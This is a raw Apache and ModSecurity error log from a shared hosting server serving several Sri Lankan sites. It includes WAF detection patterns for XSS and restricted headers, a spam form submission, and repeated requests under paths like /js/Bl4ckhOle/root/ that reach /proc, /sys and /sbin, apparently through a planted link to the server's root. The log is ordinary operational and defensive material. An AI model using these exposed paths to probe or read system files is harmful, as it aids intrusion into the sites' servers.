[Fri Jul 17 08:24:43.611407 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.241.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/fa-regular-400.eot"] [unique_id "almZc90t9Kb_MdNxrg6-KwAAAAM"], referer: https://millenniumagro.lk/wp-content/plugins/elementor/assets/lib/font-awesome/css/all.min.css?ver=3.9.1
[Fri Jul 17 08:24:43.611441 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.241.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/webfonts/fa-regular-400.eot"] [unique_id "almZc90t9Kb_MdNxrg6-KwAAAAM"], referer: https://millenniumagro.lk/wp-content/plugins/elementor/assets/lib/font-awesome/css/all.min.css?ver=3.9.1
[Fri Jul 17 08:24:44.080382 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:34958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:45.751241 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:35054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:47.344480 2026] [security2:error] [pid 1993998:tid 1993998] [client 195.2.78.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZd2idQp3SsqeycPEsQQAAAAo"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:47.344510 2026] [security2:error] [pid 1993998:tid 1993998] [client 195.2.78.191:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZd2idQp3SsqeycPEsQQAAAAo"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:47.765127 2026] [core:error] [pid 2002425:tid 2002425] (13)Permission denied: [client 3.14.69.207:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty2/subsystem/ttyS1/port
[Fri Jul 17 08:24:48.225688 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:35196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:48.409028 2026] [security2:error] [pid 1993715:tid 1993715] [client 195.2.78.191:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZeHRlmrtCoY_COpciEAAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:48.409992 2026] [security2:error] [pid 1993715:tid 1993715] [client 195.2.78.191:0] ModSecurity: Rule 55dbd91a78b0 [id "941200"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "300"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZeHRlmrtCoY_COpciEAAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:48.411963 2026] [security2:error] [pid 1993715:tid 1993715] [client 195.2.78.191:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:enquiry. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xb0\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe found within ARGS:enquiry: \\xd0\\x9c\\xd0\\xbd\\xd0\\xbe\\xd0\\xb3\\xd0\\xbe\\xd1\\x84\\xd1\\x83\\xd0\\xbd\\xd0\\xba\\xd1\\x86\\xd0\\xb8\\xd0\\xbe\\xd0\\xbd\\xd0\\xb0\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe\\xd1\\x81\\xd1\\x82\\xd1\\x8c https://ellman.ru/round\\x0d\\x0a  \\xd0\\x9c\\xd0\\xb8\\xd0\\xbd\\xd0\\xb8\\xd0\\xbc\\xd0\\xb0\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe\\xd0\\xb5 \\xd0\\xbf\\xd0\\xbe\\xd0\\xb2\\xd1\\x80\\xd0\\xb5\\xd0\\xb6\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd1\\x82\\xd0\\xba\\xd0\\xb0\\xd0\\xbd\\xd0\\xb5\\xd..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZeHRlmrtCoY_COpciEAAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:48.413719 2026] [security2:error] [pid 1993715:tid 1993715] [client 195.2.78.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZeHRlmrtCoY_COpciEAAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:49.120487 2026] [security2:error] [pid 1993715:tid 1993715] [client 195.2.78.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almZeHRlmrtCoY_COpciEAAAAAg"], referer: https://dragon.lk/store/index.php?route=information/contact
[Fri Jul 17 08:24:49.414443 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory0/node0/memory94/node0/memory14/node0/memory55/"] [unique_id "almZeY1dLClkUfK_dfHg8AAAAAI"]
[Fri Jul 17 08:24:49.414571 2026] [security2:error] [pid 1993619:tid 1993619] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory0/node0/memory94/node0/memory14/node0/memory55/"] [unique_id "almZeY1dLClkUfK_dfHg8AAAAAI"]
[Fri Jul 17 08:24:50.338496 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:35390] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:50.749542 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almZegPhWp7RzB65h36eKgAAAA0"]
[Fri Jul 17 08:24:50.749912 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almZegPhWp7RzB65h36eKgAAAA0"]
[Fri Jul 17 08:24:50.750240 2026] [security2:error] [pid 2008451:tid 2008451] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/robots.txt"] [unique_id "almZegPhWp7RzB65h36eKgAAAA0"]
[Fri Jul 17 08:24:51.478504 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:42534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:52.988679 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:53.009471 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:24:53.154254 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:42588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:54.217582 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 57.141.18.108:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory124/subsystem/devices/memory103/subsystem/devices/memory21/node0/cpu1/crash_notes
[Fri Jul 17 08:24:55.263949 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:42694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:24:57.897411 2026] [security2:error] [pid 1996894:tid 1996894] [client 166.88.60.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6774e69c98a1d_Vol_51_no_47-english.pdf"] [unique_id "almZgY4Wmn5zySdNNkAkWgAAABM"]
[Fri Jul 17 08:24:57.897454 2026] [security2:error] [pid 1996894:tid 1996894] [client 166.88.60.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/en_6774e69c98a1d_Vol_51_no_47-english.pdf"] [unique_id "almZgY4Wmn5zySdNNkAkWgAAABM"]
[Fri Jul 17 08:24:59.672576 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/"] [unique_id "almZg3jA8yK8B7kryx3hJQAAAAk"]
[Fri Jul 17 08:24:59.673184 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/"] [unique_id "almZg3jA8yK8B7kryx3hJQAAAAk"]
[Fri Jul 17 08:24:59.673555 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/"] [unique_id "almZg3jA8yK8B7kryx3hJQAAAAk"]
[Fri Jul 17 08:25:02.213756 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:02.216869 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 47.82.52.43:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:02.0/rescan
[Fri Jul 17 08:25:04.459984 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/Rest/"] [unique_id "almZiA5GPQ6hs4VrfMo9fQAAAAY"]
[Fri Jul 17 08:25:04.460569 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/Rest/"] [unique_id "almZiA5GPQ6hs4VrfMo9fQAAAAY"]
[Fri Jul 17 08:25:04.460937 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/klarna/kco_rest/src/Klarna/Rest/"] [unique_id "almZiA5GPQ6hs4VrfMo9fQAAAAY"]
[Fri Jul 17 08:25:05.862072 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:05.870547 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:08.031374 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:08.284249 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:34178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:09.963193 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:34286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:11.194933 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:34366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:11.687501 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZj5OFLENLI63GGOEJwgAAAAQ"]
[Fri Jul 17 08:25:11.688212 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZj5OFLENLI63GGOEJwgAAAAQ"]
[Fri Jul 17 08:25:11.688514 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/index.php"] [unique_id "almZj5OFLENLI63GGOEJwgAAAAQ"]
[Fri Jul 17 08:25:12.291321 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:49892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:12.428160 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:15.977997 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:15.978403 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:17.082858 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:50178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:18.246369 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:50258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:18.248335 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:50228] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:19.352587 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:50292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:19.834626 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:19.837816 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:20.076304 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZl7yEqmgiTSUa55oHPQAAABA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1479&page_105=2411
[Fri Jul 17 08:25:20.076337 2026] [security2:error] [pid 1994966:tid 1994966] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almZl7yEqmgiTSUa55oHPQAAABA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1479&page_105=2411
[Fri Jul 17 08:25:20.947301 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:50376] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:21.568879 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:33842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:22.159796 2026] [security2:error] [pid 2008451:tid 2008451] [client 114.119.157.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sbin/fb_lock_print"] [unique_id "almZmgPhWp7RzB65h36ePQAAAA0"], referer: https://anandaobauae.org/uploads/img/news/m-iraq/root/sbin/?C=N%3BO%3DD
[Fri Jul 17 08:25:22.159832 2026] [security2:error] [pid 2008451:tid 2008451] [client 114.119.157.236:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sbin/fb_lock_print"] [unique_id "almZmgPhWp7RzB65h36ePQAAAA0"], referer: https://anandaobauae.org/uploads/img/news/m-iraq/root/sbin/?C=N%3BO%3DD
[Fri Jul 17 08:25:22.197287 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/Error/"] [unique_id "almZmmidQp3SsqeycPEsUgAAAAo"]
[Fri Jul 17 08:25:22.197873 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/Error/"] [unique_id "almZmmidQp3SsqeycPEsUgAAAAo"]
[Fri Jul 17 08:25:22.198235 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/storage/vendor/braintree/braintree_php/lib/Braintree/Error/"] [unique_id "almZmmidQp3SsqeycPEsUgAAAAo"]
[Fri Jul 17 08:25:23.397467 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:26.564474 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:34058] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:26.861745 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:26.992879 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:25:29.319151 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:34178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:30.104298 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:34216] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:30.731368 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 47.79.11.134:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/pnp0/00:02/firmware_node/subsystem/uevent
[Fri Jul 17 08:25:30.813416 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:34264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:25:31.750136 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Settlement/"] [unique_id "almZo90t9Kb_MdNxrg6-QwAAAAM"]
[Fri Jul 17 08:25:31.750725 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/storage/vendor/cardinity/cardinity-sdk-php/spec/Method/Settlement/"] [unique_id "almZo90t9Kb_MdNxrg6-QwAAAAM"]
